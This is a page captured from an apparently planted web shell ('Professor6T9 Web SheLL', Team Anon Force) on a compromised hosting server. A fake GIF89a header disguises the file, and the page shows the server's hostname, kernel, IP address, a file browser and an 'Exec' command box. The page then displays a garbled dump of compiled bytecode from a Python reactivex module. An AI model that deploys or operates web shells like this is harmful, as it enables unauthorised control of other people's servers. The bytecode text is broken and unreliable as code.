GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
reactivex
/
operators
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _tofuture.cpython-38.pyc
U ܒi � @ s� d dl Z d dl mZ d dlmZmZmZmZ d dlmZm Z d dl mZ ed�Zdeeg df ee j eee gdf d�d d �Zd gZdS )� N)�Future)�Callable�Optional�TypeVar�cast)� Observable�abc)�SequenceContainsNoElementsError�_T� Future[_T])�future_ctor� scheduler�returnc s2 | pt �� j}|� � tt dd�� �fdd�}|S )Nr )�sourcer c sl d�t td��td���fdd�}td��fdd�}���fd d �}| j|||�d�� ��� fdd �� �S )a. Converts an existing observable sequence to a Future. If the observable emits a single item, then this item is set as the result of the future. If the observable emits a sequence of items, then the last emitted item is set as the result of the future. Example: future = reactivex.return_value(42).pipe(ops.to_future(asyncio.Future)) Args: future_ctor: [Optional] The constructor of the future. Returns: A future with the last value from the observable sequence. FN��valuec s | �d� d S )NT� r )� has_value� last_valuer �N/opt/alt/python38/lib/python3.8/site-packages/reactivex/operators/_tofuture.py�on_next( s z.to_future_.<locals>.to_future.<locals>.on_next��errc s � � � s� �| � d S �N)� cancelled� set_exceptionr )�futurer r �on_error. s z/to_future_.<locals>.to_future.<locals>.on_errorc s, � � � s$�r� ��� n� �t� � d �d S r )r � set_resultr r r )r r r r r �on_completed2 s z3to_future_.<locals>.to_future.<locals>.on_completed)r c s � � � S r )Zdispose)�_)�disr r �<lambda><